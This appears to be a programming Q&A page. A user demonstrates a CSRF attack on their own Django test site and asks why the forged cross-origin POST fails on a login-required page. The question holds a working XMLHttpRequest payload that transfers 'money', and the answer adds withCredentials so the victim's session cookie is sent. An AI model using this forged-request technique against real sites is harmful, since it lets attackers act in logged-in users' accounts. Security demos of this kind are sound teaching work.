Search code examples
pythondjangocsrfweb-deploymentdjango-csrf

Simulate CSRF Attack on Login Required URL


I want to simulate/demo a CSRF attack. With Django, I setup a site (a.com) and one url (/foo/) do not enable anti-CSRF stuff.

First I made this URL can be access without login. I can see the POST request (see code below) is done succeed. (Actually, I met a no Access-Control-Allow-Origin issue, the document #main content is not updated. But the post is done with 200 status. i.e. The Money is transferred to my account :).

So I did a successful CSRF attack.

Then I make a.com/foo/ wrapped in a login_required(), which means, you need first login on site a.com before to do actions in a.com/foo/ page.

1) I did a login on one Chrome tab of a.com.

2) And then I open another Tab in this same Chrome window and open localhost:8000 (see below).

When I run the JS function, the POST begin to get 302 status (redirecting to login page of a.com instead of the 200 OK status before).

Why? If this is the case, How CSRF attacks is useful/possible for login-required pages of another domain?

JS Code to do the Fake request (from localhost:8000 etc, a different domain):

function hack_it() {
    var http = new XMLHttpRequest();
    var url = 'https://a.com/foo/';
    var params = 'name=hacker&amount=200';
    http.open('POST', url, true);

    //Send the proper header information along with the request
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            document.getElementById("main").innerHTML = http.responseText;
        }
    }
    http.send(params);
}

Solution

  • Yes, CSRF attacks are possible for pages which require login.

    At the moment, your AJAX request is not sending the session cookie, so you are redirected to the login page.

    For your demo attack to work, you need to set withCredentials to true.

    var http = new XMLHttpRequest();
    http.withCredentials = true;
    ...